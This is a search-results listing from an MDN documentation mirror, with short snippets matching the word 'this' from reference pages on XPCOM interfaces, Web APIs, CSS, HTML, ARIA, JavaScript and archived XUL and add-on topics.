... messagemanager nsichromeframemessagemanager the message manager handling messages for
this frame.
...And 8 more matches
nsIHttpChannelInternal
using features exposed by
this interface is not recommended, as it will change in unpredictable ways.
... channelisfordownload boolean external handlers may set
this to true to notify the channel that it is open on behalf of a download.
... forceallowthirdpartycookie boolean force relevant cookies to be sent with
this load even if normally they would not be.
...And 8 more matches
nsIMemoryReporter
this includes the about:memory page.
... note:
this interface is undergoing heavy development, and is subject to rapid changes.
... note:
this attribute was called memoryused prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), and its type was long long.
...And 8 more matches
nsIMsgMessageService
this is an async operation of course.note: you must pass in a url listener in order to figure out when the operation is done.
... note:
this operation may be obsolete.
... geturlforuri() when you have a uri and you would like to convert that to a url which can be run through necko, you can use
this method.
...And 8 more matches
nsINavHistoryResultTreeViewer
toolkit/components/places/public/nsinavhistoryservice.idlscriptable
this interface provides a predefined view adaptor for interfacing places query results with a tree.
... 1.0 66 introduced gecko 1.8 inherits from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3)
this object removes itself from the associated result when the tree is detached;
this prevents circular references.
... it's important to be aware of
this—if you want to reuse the same viewer, you need to keep your own reference to it, then reinitialize it when the tree changes.
...And 8 more matches
nsINavHistoryResultViewObserver
toolkit/components/places/public/nsinavhistoryservice.idlscriptable
this interface is used by clients of the history results to define domain-specific handling of specific nsitreeview methods that the history result doesn't implement.
... methods candrop() implement
this method to report whether or not a drop is permitted onto the specified location.
...onperformaction()
this method provides a command api that can be used to invoke commands on the selection.
...And 8 more matches
nsIObserverService
xpcom/ds/nsiobserverservice.idlscriptable
this interface provides methods to add, remove, notify, and enumerate observers of various notifications.
... inherits from: nsisupports last changed in gecko 0.9.6 the xpcom nsobserverservice implements
this interface to provide global notifications for a variety of subsystems.
... notifyobservers()
this method is called to notify all observers for a particular topic.
...And 8 more matches
nsIPermissionManager
netwerk/base/nsipermissionmanager.idlscriptable please add a summary to
this article.
...consumers should choose
this string to be unique, with respect to other consumers.
... expiretime time (in milliseconds since jan 1 1970 0:00:00) representing expiration of
this permission.
...And 8 more matches
nsIScreen
widget/nsiscreen.idlscriptable
this interface provides information about a display screen.
...out long left, out long top, out long width, out long height); void getrect(out long left, out long top, out long width, out long height); void lockminimumbrightness(in unsigned long brightness); void unlockminimumbrightness(in unsigned long brightness); attributes attribute type description colordepth long the screen's color depth;
this is the number of bits used to represent a color.
... pixeldepth long the screen's pixel depth;
this is the number of bits used to represent a pixel.
...And 8 more matches
nsITextInputProcessorNotification
dom/interfaces/base/nsitextinputprocessorcallback.idlscriptable
this interface of a request or notification to ime 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35)
this interface tells details of a request or notification to ime.
... when gecko supports new notification to ime,
this interface may have some new attributes.
... types "request-to-commit"
this is required to be handled.
...And 8 more matches
nsIXULTemplateResult
the dom element created for
this result, if any, will have its id attribute set to
this value.
... mayprocesschildren boolean true if the template builder may use
this result as the reference point for additional recursive processing of the template.
... the template builder will reprocess the template using
this result as the reference point and generate output content that is expected to be inserted as children of the output generated for
this result.
...And 8 more matches
nsIXULWindow
xpfe/appshell/nsixulwindow.idlscriptable please add a summary to
this article.
...
this signals the application in case it needs to quit.
... docshell nsidocshell the docshell owning the xul for
this window.
...And 8 more matches
wrappedJSObject
this article focuses on the latter kind of wrappers, which hide any properties or methods on the component that are not part of the supported interfaces as declared in xpidl.
... the rest of
this article demonstrates what xpconnect wrappers do and how wrappedjsobject can be used to bypass them.
... // constructor function helloworld() { }; helloworld.prototype = { hello: function() { return "hello world!"; }, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsisupports) && !aiid.equals(components.interfaces.nsihelloworld)) throw components.results.ns_error_no_interface; return
this; } }; xpconnect wrapping now let's get a reference to our component.
...And 8 more matches
Address book sync client design
warning: the content of
this article may be out of date.
... // localrecordid - local unique id, for mobile devices
this // is assigned by the mobile device.
... // flags - operation to apply to
this record.
...And 8 more matches
Debugging service workers - Firefox Developer Tools
in
this article we will look at debugging service workers using the firefox devtools application panel.
... when you open the application panel’s service workers view on a page that doesn't have a service worker registered, you'll get the following output shown:
this gives you some advice on what to do if you don't have a service worker registered, and were perhaps expecting there to be one registered!
... let's start by troubleshooting
this.
...And 8 more matches
Debugger.Memory - Firefox Developer Tools
a bernoulli trial succeeds, with probability equal to the maximum of d.memory.allocationsamplingprobability of all debugger instances d that are observing the global that
this object is allocated within the scope of.
... accessor properties of the debugger.memory.prototype object ifdbg is a debugger instance, then <i>dbg</i>.memory is a debugger.memory instance, which inherits the following accessor properties from its prototype: trackingallocationsites a boolean value indicating whether
this debugger.memory instance is capturing the javascript execution stack when each object is allocated.
...
this accessor property has both a getter and setter: assigning to it enables or disables the allocation site tracking.
...And 8 more matches
Web Console Helpers - Firefox Developer Tools
this is like for document.queryselectorall(), but returns an array instead of a nodelist.
...
this helper accepts multiple different ways of identifying the frame to switch to.
...use
this function to clear the console's command history.
...And 8 more matches
AddressErrors - Web APIs
see the examples below to see how
this works.
... examples snippet: limiting destination countries
this first example is just a snippet showing an implementation of the event handler for the shippingaddresschange event which checks to be sure the chosen address is located within one of a limited number of countries.
...please check for any errors."; const invalidcountryerror = "at
this time, we only ship to the united states, canada, great britain, japan, china, and germany."; let shippingaddress = ev.target.shippingaddress; let shippingaddresserrors = {}; let updatedetails = {}; if (!validcountries.includes(shippingaddress.country)) { ev.target.shippingoptions = []; shippingaddresserrors.country = invalidcountryerror; updatedetails = { error: genericaddresserror, shippingaddresserrors, ...defaultpaymentdetails }; } ev.updatewith(updatedetails); } see handling address changes for a descript...
...And 8 more matches
Animation - Web APIs
animation.effect gets and sets the animationeffectreadonly associated with
this animation.
...
this will usually be a keyframeeffect object.
... animation.finished read only returns the current finished promise for
this animation.
...And 8 more matches
Pixel manipulation with canvas - Web APIs
for example, to read the blue component's value from the pixel at column 200, row 50 in the image, you would do the following: bluecomponent = imagedata.data[((50 * (imagedata.width * 4)) + (200 * 4)) + 2]; if given a set of coordinates (x and y), you may end up doing something like
this: var xcoord = 50; var ycoord = 100; var canvaswidth = 1024; function getcolorindicesforcoord(x, y, width) { var red = y * (width * 4) + x * 4; return [red, red + 1, red + 2, red + 3]; } var colorindices = getcolorindicesforcoord(xcoord, ycoord, canvaswidth); var redindex = colorindices[0]; var greenindex = colorindices[1]; var blueindex = colorindices[2]; var alphaindex = colorindices[3];...
...there are two versions of the createimagedata() method: var myimagedata = ctx.createimagedata(width, height);
this creates a new imagedata object with the specified dimensions.
...
this does not copy the image data!
...And 8 more matches
DirectoryEntrySync - Web APIs
this interface has been abandonned: it was on a standard track and it proves not a good idea.
... about
this document
this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
...
this specification is pretty much abandoned, having failed to reach any substantial traction.
...And 8 more matches
DragEvent - Web APIs
this interface inherits properties from mouseevent and event.
... constructors although
this interface has a constructor, it is not possible to create a useful datatransfer object from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops.
... event types drag
this event is fired when an element or text selection is being dragged.
...And 8 more matches
HTMLTableCellElement - Web APIs
this alternate label can be used in other contexts, such as when describing the headers that apply to a data cell.
...
this is used to offer a shorter term for use by screen readers in particular, and is a valuable accessibility tool.
... htmltablecellelement.colspan an unsigned long integer indicating the number of columns
this cell must span;
this lets the cell occupy space across multiple columns of the table.
...And 8 more matches
Ajax navigation example - Web APIs
this is an example of an ajax website composed only of three pages (first_page.php, second_page.php and third_page.php).
... to see how it works, please create the following files (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within
this mechanism, please take a look at the paragraph submitting forms and uploading files.
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>
this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>
this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>
this paragraph is shown only when the navigation starts from <s...
...And 8 more matches
IDBTransactionSync - Web APIs
method overview void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that
this transaction is associated with.
... static boolean if true,
this transaction is static; if false,
this transaction is dynamic.
... methods abort() call
this method to signal a need to cancel the effects of the operations performed by
this transaction.
...And 8 more matches
Recording a media element - Web APIs
in
this article, we'll look at an example that does just that.
...there's a little more than
this, but it's just informational rather than being part of the core operation of the app.
...on the left is a start button and a <video> element which displays the video preview;
this is the video the user's camera sees.
...And 8 more matches
PaymentResponse - Web APIs
the contents of the object depend on the payment method being used; for example, if the basic card payment method is used,
this object must conform to the structure defined in the basiccardresponse dictionary.
...
this option is only present when the requestpayeremail option is set to true in the options parameter of the paymentrequest() constructor.
...
this option is only present when the requestpayername option is set to true in the options parameter of the paymentrequest() constructor.
...And 8 more matches
RTCStatsReport - Web APIs
this statistics report contains a mapping of statistic category string names to objects containing the corresponding statistics data.
... properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce
this object based on rtcstats.
... timestamp a domhighrestimestamp object indicating the time at which the sample was taken for
this statistics object.
...And 8 more matches
Using server-sent events - Web APIs
this is one-way connection, so you can't send events from a client to a server.
...ntials: true } ); once you've instantiated your event source, you can begin listening for messages from the server by attaching a handler for the message event: evtsource.onmessage = function(event) { const newelement = document.createelement("li"); const eventlist = document.getelementbyid("list"); newelement.innerhtml = "message: " + event.data; eventlist.appendchild(newelement); }
this code listens for incoming messages (that is, notices from the server that do not have an event field on them) and appends the message text to a list in the document's html.
... you can also listen for events with addeventlistener(): evtsource.addeventlistener("ping", function(event) { const newelement = document.createelement("li"); const time = json.parse(event.data).time; newelement.innerhtml = "ping at " + time; eventlist.appendchild(newelement); });
this code is similar, except that it will be called automatically whenever the server sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information.
...And 8 more matches
TreeWalker - Web APIs
properties
this interface doesn't inherit any property.
...
this is meaningful only when creating a treewalker with an attr node as its root.
... in
this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...And 8 more matches
WebGLRenderingContext - Web APIs
if you require a webgl 2.0 context, see webgl2renderingcontext;
this supplies access to an implementation of opengl es 3.0 graphics.
...should match the width of the canvas element associated with
this context.
...should match the height of the canvas element associated with
this context.
...And 8 more matches
Writing a WebSocket server in Java - Web APIs
introduction
this example shows you how to create a websocket api server using oracle java.
... although other server-side languages can be used to create a websocket server,
this example uses oracle java to simplify the example code.
...
this server conforms to rfc 6455, so it only handles connections from chrome version 16, firefox 11, ie 10 and higher.
...And 8 more matches
Keyframe Formats - Web APIs
there are several options to
this format, which are explained below.
...
this is the canonical format returned by the getkeyframes() method.
... element.animate([ { opacity: 1, easing: 'ease-out' }, { opacity: 0.1, easing: 'ease-in' }, { opacity: 0 } ], 2000); in
this example, the specified easing only applies from the keyframe where it is specified until the next keyframe.
...And 8 more matches
Basic concepts behind Web Audio API - Web APIs
this article explains some of the audio theory behind how the features of the web audio api work, to help you make informed decisions while designing how audio is routed through your app.
...
this modular design provides the flexibility to create complex audio functions with dynamic effects.
...a simple, typical workflow for web audio would look something like
this: create the audio context.
...And 8 more matches
Web Audio API best practices - Web APIs
in
this article, we'll share a number of best practices — guidelines, tips, and tricks for working with the web audio api.
...you can see an example of how to use
this with the web audio api in the using the web audio api tutorial.
...you have to request the file and wait for it to load (
this section of our advanced article shows a good way to do it), but then you have access to the data directly, which means more precision, and more precise manipulation.
...And 8 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
this article demonstrates how to use a constantsourcenode to link multiple parameters together so they share the same value, which can be changed by simply setting the value of the constantsourcenode.offset parameter.
...you could use a loop and change the value of each affected audioparam one at a time, but there are two drawbacks to doing it that way: first, that's extra code that, as you're about to see, you don't have to write; and second, that loop uses valuable cpu time on your thread (likely the main thread), and there's a way to offload all that work to the audio rendering thread, which is optimized for
this kind of work and may run at a more appropriate priority level than your code.
... the technique
this is actually a really easy way to do something that sounds like it might be hard to do.
...And 8 more matches
XRInputSource - Web APIs
if the device isn't a gamepad-like device,
this property's value is null.
... note: while xrinputsource uses the gamepad interface from the gamepad api,
this input device is strictly associated with the webxr hardware and is not a general-purpose gaming device.
...the orientation of
this space indicates the angle at which the hand is gripping the object.
...And 8 more matches
XRSession - Web APIs
environmentblendmode read only returns
this session's blend mode which denotes how much of the real-world environment is visible through the xr device and how the device will blend the device imagery with it.
... inputsources read only returns a list of
this session's xrinputsources, each representing an input device used to control the camera and/or scene.
...
this includes things such as the near and far clipping planes (distances defining how close and how far away objects can be and still get rendered), as well as field of view information.
...And 8 more matches
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
this information can be used when creating a new xrwebgllayer to configure the xrwebgllayerinit property framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor.
...
this can happen for display environments which use superscaling or anti-aliasing techniques to improve perceived image quality.
...if the session has ended,
this function returns 0.0.
...And 8 more matches
ARIA: textbox role - Accessibility
whenever possible, rather than using
this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input.
... the default is a single line input, in which return or enter submits the form; in
this case, it is preferable to use an html <input> with type="text".
... <label for="txtbox">enter your five-digit zipcode</label> <input type="text" placeholder="5-digit zipcode" id="txtbox"/> <!-- multi-line text area --> <label for="txtboxmultiline">enter the tags for the article</label> <textarea id="txtboxmultiline" required></textarea> where a text field is read-only, indicated
this by setting aria-readonly="true" on the element.
...And 8 more matches
Web applications and ARIA FAQ - Accessibility
tbd: how well does
this currently work?
... for notes on jaws support for aria as of jaws 10, see
this article from the paciello group: jaws support for aria.
...here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" />
this progress bar is built using a <div>, which is not very descriptive.
...And 8 more matches
Box alignment in grid layout - CSS: Cascading Style Sheets
on
this page we explore how box alignment works in the context of css grid layout.
... as
this page aims to detail things which are specific to css grid layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
... basic example in
this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis.
...And 8 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
this document details the general concepts found in the specification.
... css grid layout alignment example in
this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis.
...
this space is distributed using justify-content.
...And 8 more matches
Basic Concepts of Multicol - CSS: Cascading Style Sheets
this guide explains how the specification works with some common use case examples.
...
this happens in the same way that content is fragmented into pages when we work with css paged media, for example by creating a print stylesheet.
...you can see how
this margin causes the first line of text to be pushed down.
...And 8 more matches
Shapes from box values - CSS: Cascading Style Sheets
this article explains how to do
this.
... the box values allowable as a shape value are: content-box padding-box border-box margin-box the border-radius values are also supported,
this means that you can have something in your page with a curved border, and your shape can follow the created shape.
...
this shape follows all of the normal border radius shaping rules for the outside of the border.
...And 8 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
this article provides an overview of what you can do with shapes.
... as in
this level of the specification an element has to be floated in order to apply <basic-shape> to it;
this has the side-effect of creating a simple fallback for many cases.
...
this allows the overlay of wrapped content around an image, or the use of an image which is never displayed on the page purely as a method of creating a complex shape without needing to carefully map a polygon.
...And 8 more matches
Layout and the containing block - CSS: Cascading Style Sheets
most often, the containing block is the content area of an element's nearest block-level ancestor, but
this is not always the case.
... in
this article, we examine the factors that determine an element's containing block.
...the properties that work
this way are box model properties and offset properties: the height, top, and bottom properties compute percentage values from the height of the containing block.
...And 8 more matches
font-size-adjust - CSS: Cascading Style Sheets
to use
this property in a way that is compatible with browsers that do not support font-size-adjust, it is specified as a number that the font-size property is multiplied by.
...
this means the value specified for the property should generally be the aspect ratio of the first choice font.
...
this will still produce reasonable results in browsers that do not support font-size-adjust, where a 14px font will be used.
...And 8 more matches
unicode-bidi - CSS: Cascading Style Sheets
the unicode-bidi property overrides
this algorithm and allows the developer to control the text embedding.
... note:
this property is intended for document type definition (dtd) designers.
... embed if the element is inline,
this value opens an additional level of embedding with respect to the bidirectional algorithm.
...And 8 more matches
Audio and video manipulation - Developer guides
this article provides a reference to explain what you need to do.
...in
this case, we'll show both the source video and the output greyscale frames.
... html we can set up our video player and <canvas> element like
this: <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <canvas id="my-canvas" width="480" height="270"></canvas> javascript
this code handles altering the frames.
...And 8 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
if present, title must contain
this full description and nothing else.
... the source for
this interactive example is stored in a github repository.
... permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only supports the global attributes.
...And 8 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
note: the input and change events do not apply to
this input type.
...
this specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools.
...ional attributes in addition to the attributes common to all <input> elements, hidden inputs offer the following attributes: attribute description name like all input types, the name of the input to report when submitting the form; the special value _charset_ causes the hidden input's value to be reported as the character encoding used to submit the form name
this is actually one of the common attributes, but it has a special meaning available for hidden inputs.
...And 8 more matches
Evolution of HTTP - HTTP
at
this point, a typical request and response looked like
this: get /mypage.html http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:31 gmt server: cern/3.0 libwww/2.17 content-type: text/html <html> a page with an image <img src="/myimage.gif"> </html> followed by a second connection and request to fetch the image (followed by a response to that request): get /m...
...
this is the definition of http/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard.
... a typical flow of requests, all through one single connection is now looking like
this: get /docs/glossary/simple_header http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok connection: keep-al...
...And 8 more matches
Iterators and generators - JavaScript
done
this is true if the last value in the sequence has already been consumed.
... while it is easy to imagine that all iterators could be expressed as arrays,
this is not true.
...because of
this, iterators can express sequences of unlimited size, such as the range of integers between 0 and infinity.
...And 8 more matches
TypeError: X.prototype.y called on incompatible type - JavaScript
the javascript exception "called on incompatible target (or object)" occurs when a function (on a given object), is called with a
this not corresponding to the type expected by the function.
... message typeerror: '
this' is not a set object (edge) typeerror: function.prototype.tostring called on incompatible object (firefox) typeerror: function.prototype.bind called on incompatible target (firefox) typeerror: method set.prototype.add called on incompatible receiver undefined (chrome) typeerror: bind must be called on a function (chrome) error type typeerror what went wrong?
... when
this error is thrown, a function (on a given object), is called with a
this not corresponding to the type expected by the function.
...And 8 more matches
Array.prototype.find() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax arr.find(callback(element[, index[, array]])[,
thisarg]) parameters callback function to execute on each value in the array, taking 3 arguments: element the current element in the array.
...
thisarg optional object to use as
this inside callback.
...And 8 more matches
Array.prototype.indexOf() - JavaScript
the source for
this interactive example is stored in a github repository.
...you can work around
this by utilizing the following code at the beginning of your scripts.
...
this will allow you to use indexof() when there is still no native support.
...And 8 more matches
Array.prototype.some() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax arr.some(callback(element[, index[, array]])[,
thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array.
...
thisargoptional a value to use as
this when executing callback.
...And 8 more matches
Transitioning to strict mode - JavaScript
this article aims at providing guidance for developers.
...e; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in prevision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7}
this is no longer the case in ecmascript 2015 (bug 1041128).
...} f(42);
this used to change a value on the global object which is rarely the expected effect.
...And 8 more matches
Navigation and resource timings - Web Performance
if there is no previous document,
this value will be the same as performancetiming.fetchstart.
...
this moment is before the check to any application cache.
...if the transport layer fails after the start of the request and the connection is reopened,
this property will be set to the time corresponding to the new request.
...And 8 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
depending on the device and features of the operating system and browser,
this can result in what is essentially a fully featured application (for example, using webapk on android) or as a shortcut added to their device’s screen.
...
this guide explains how installation is performed, what it means, and what you need to do as a developer to let your users take advantage of it.
...
this makes it simple for a user to use a gesture to access an app by tapping or clicking its icon.
...And 8 more matches
xlink:href - SVG: Scalable Vector Graphics
22 elements are using
this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href ...
... value <iri> default value none animatable no animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, xlink:href defines the reference to the element which is the target of
this animation and which therefore will be modified over time.
...any attributes which are defined on the referenced <filter> element which are not defined on
this element are inherited by
this element.
...And 8 more matches
Web security
this article provides an overview of tls and the kinds of decisions you need to make when securing your content.
...
this secure connection allows clients to be sure that they are connected with the intended server, and to exchange sensitive data.
...pages like
this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers.
...And 8 more matches
WebAssembly
this allows you to take advantage of webassembly's performance and power and javascript's expressiveness and flexibility in the same apps, even if you don't know how to write webassembly code.
...
this tutorial takes you through all you need to know to compile a rust project to wasm and use it in an existing web app.
... loading and running webassembly code after you have a .wasm,
this article covers how to fetch, compile and instantiate it, combining the webassembly javascript api with the fetch or xhr apis.
...And 8 more matches
request - Archive of obsolete content
examples outlined in
this document are no longer relevent in regards to the twitter api calls and need to be updated make simple network requests.
... globals constructors request(options)
this constructor creates a request object that can be used to make network requests.
... parameters options : object optional options: name type url string,url
this is the url to which the request will be made.
...And 7 more matches
Observer Notifications - Archive of obsolete content
this example code shows you what an implementation of the nsiobserver interface looks like: let testobserver = { observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { window.alert("data received: " + adata); } } } in order for
this observer to work, you need to use the observer service that provides methods for you to add, remove, notify and...
...it's much easier to use observers in
this case.
... createinstance(components.interfaces.nsisupportsstring); // assign some text to data attribute subject.data = "
this is a test."; // notify all registered observers observerservice.notifyobservers( subject, "xulschoolhello-test-topic", "hello"); } in the notifytest method, the notifyobservers call is used to notify all registered observers about the notification topic "xulschoolhello-test-topic".
...And 7 more matches
Install.js - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...see also
this article from xulplanet's main tutorial.
...And 7 more matches
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
if you are a plug-in author, you may find
this project saves you a lot of work!
...
this page describes a control that implements the np api and hosts most netscape-compatible plug-ins.
...
this 100k activex control contains the entire np api implementation and probably worked much like pluginhostctrl.dll does now.
...And 7 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
warning: the content of
this article may be out of date.
...a newer document is available: creating a firefox sidebar
this article describes how to create a registered sidebar for firefox 2 or greater.
... introduction
this article is a quick start for the creation of a new sidebar for firefox.
...And 7 more matches
Dehydra Object Reference - Archive of obsolete content
.type type object the type of
this function or variable.
... .assign array of variable objects
this variable is the lhs of an assignment.
... .parameters array of variable objects a function definition's parameter names and types .memberof aggregate type object indicates the aggregate type(class/struct) in the type system that
this variable is a member of.
...And 7 more matches
Developing New Mozilla Features - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this will be much easier if you’ve been working on suggestion two.
...if you absolutely don't have the resources to do
this, then plan for extra integration time.
...And 7 more matches
Space Manager High Level Design - Archive of obsolete content
this information is used by block layout to correctly compute where other floated elements should be placed, and how much space is available to normal in-flow elements that flow around the floated bits.
...
this is referred to as propagation of float damage and is handled by the block frame, making use of the space manager.
...in
this case the space manager is also asked if there is any float damage, and if there is then the block further checks to see if that damage intersects the area of the non-dirty line, marking it dirty if there is intersection.
...And 7 more matches
Table Layout Strategy - Archive of obsolete content
inside
this routine the corresponding table layout strategy is created and initialized (basictablelayoutstrategy::initialize).
...
this information is hold in the adjusted width's.
... due to
this there are 10 width informations for every column.
...And 7 more matches
Venkman Internals - Archive of obsolete content
you can still set breakpoints, but they will be future breakpoints, which will be "real" breakpoints when/if the file is loaded (note that
this may never happen!).
... note also that
this is just my knowledge of venkman, which is quite limited.
...
this method is set into jsdiscripthook.onscriptcreated venkman-views.js views are the panels shown within the venkman window.
...And 7 more matches
addFile - Archive of obsolete content
this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable.
...
this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.note that the registry pathname is not the location of the software on the machine; it is the location of information about the software inside the client version registry.
...for variants or
this method without a version argument the value from initinstall will be used.
...And 7 more matches
Getting File Information - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...you can catch
this exception with a try-catch block, but it is better to use nsifile.exists() to check first.
...
this example will check if a file on the desktop exists and set the variable 'filesize' to the size of the file.
...And 7 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
this is example code for sorting and filtering a custom tree view, that is, a tree whose values are loaded via javascript.
...
this will not work for other types of trees, for example rdf-backed or ones created with dom methods.
...because of bug 340478,
this code will only work from privileged script.
...And 7 more matches
Rule Compilation - Archive of obsolete content
this will return a table of result records which are then used to generate output.
...
this way, different kinds of output can be created based on the specifics of the result.
...
this step involves working through the query rules and processing them into internal structures.
...And 7 more matches
Adding Labels and Images - Archive of obsolete content
« previousnext »
this section describes a way to add labels and images to a window.
...you can use two xul elements for
this purpose.
...an example is shown below: example 1 : source view <label value="
this is some text"/> the value attribute can be used to specify the text that you wish to have displayed.
...And 7 more matches
Box Model Details - Archive of obsolete content
the buttons will never be smaller than
this size but they may grow larger.
... as shown in the image, there are two buttons which expand vertically to fit their container, which in
this case is the hbox.
... the align attribute controls
this behavior on a horizontal box.
...And 7 more matches
Introduction to RDF - Archive of obsolete content
« previousnext » in
this section, we'll look at rdf (resource description framework).
...the way to solve
this is by using rdf datasources.
...
this is how mozilla works when it reads data such as bookmarks, the history or mail messages.
...And 7 more matches
Localization - Archive of obsolete content
files of
this type are normally used to declare the syntax and semantics of a particular xml file, but they also let you declare entities.
...to do
this, add a line of the following form somewhere near the top of the xul file: <!doctype window system "chrome://findfile/locale/findfile.dtd">
this line specifies that the url indicated is to be used as a dtd for the file.
... in
this case, we have declared that we want to use the findfile.dtd dtd file.
...And 7 more matches
XUL Event Propagation - Archive of obsolete content
this article describes the event model in xul and features event propagation as a way to handle events in different places in the interface.
...collectively,
this process is referred to as the event model.
...
this button responds to the user action by raising an event, a message meant to travel from one element within the interface to another.
...And 7 more matches
Monitoring plugins - Archive of obsolete content
this component then reports the plugin runtime using the observer service to anyone registered to receive the notifications.
...
this article discusses how developers can make use of
this new feature.
... below are a number of javascript snippets that would be useful to developers trying to use
this feature: registration to register for runtime notifications with the observer service you must create a class with an observe method which receives 3 parameters (subject, topic and data) as well as a register method that contains the following code: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice (components.interfaces.nsiobserv...
...And 7 more matches
Table Reflow Internals - Archive of obsolete content
this is equivalent to preferred size if the avail size is not constrained.
...
this is just a convience mechanism.
... kinds of reflows initial - reflowee's first reflow must be of
this type (reflower's responsibility).
...And 7 more matches
Using SSH to connect to CVS - Archive of obsolete content
introduction
this document is a guide to setting up access to cvs.mozilla.org using ssh.
...
this document assumes that you already have a write-access cvs account to cvs.mozilla.org.
... anonymous/read-only access via ssh is not available at
this time.
...And 7 more matches
2D collision detection - Game development
this article provides a review of the most common techniques used to provide collision detection in 2d games.
...
this.color("green"); } else { // no collision
this.color("blue"); } }); note: another example without canvas or external libraries.
...
this algorithm works by taking the centre points of the two circles and ensuring the distance between the centre points are less than the two radii added together.
...And 7 more matches
Visual-js game engine - Game development
full name : visual-js gui for windows multiplatform 2d game engine creator : nikola lukic 2017 2018 open source visual-js project parts : -2d part :
this is javascript game engine (server part node.js / client part js) js framework with windows gui editor and game instance creator.
... ( + server engine tools + server part of web apps ) -3d part : webgl based on three.js engine -3d part : webgl2 based on glmatrix 2.0 -2d part (new):
this is typescript based game engine (client part ts).
... with strong connection with webpack physics done with (matter.js) matter ts
this part is removed from
this project.
...And 7 more matches
Assessment: Accessibility troubleshooting - Learn web development
previous overview: accessibility in the assessment for
this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix.
... starting point to get
this assessment started, you should go and grab the zip containing the files that comprise the example.
... the finished assessment site should look like so: you will see some differences/issues with the display of the starting state of the assessment —
this is mainly due to the differences in the markup, which in turn cause some styling issues as the css is not applied properly.
...And 7 more matches
Test your skills: HTML accessibility - Learn web development
this aim of
this skill test is to assess whether you've understood our html: a good basis for accessibility article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... html accessibility 1 in
this task we will test your understanding of text semantics, and why they are good for accessibility.
...And 7 more matches
CSS selectors - Learn web development
in
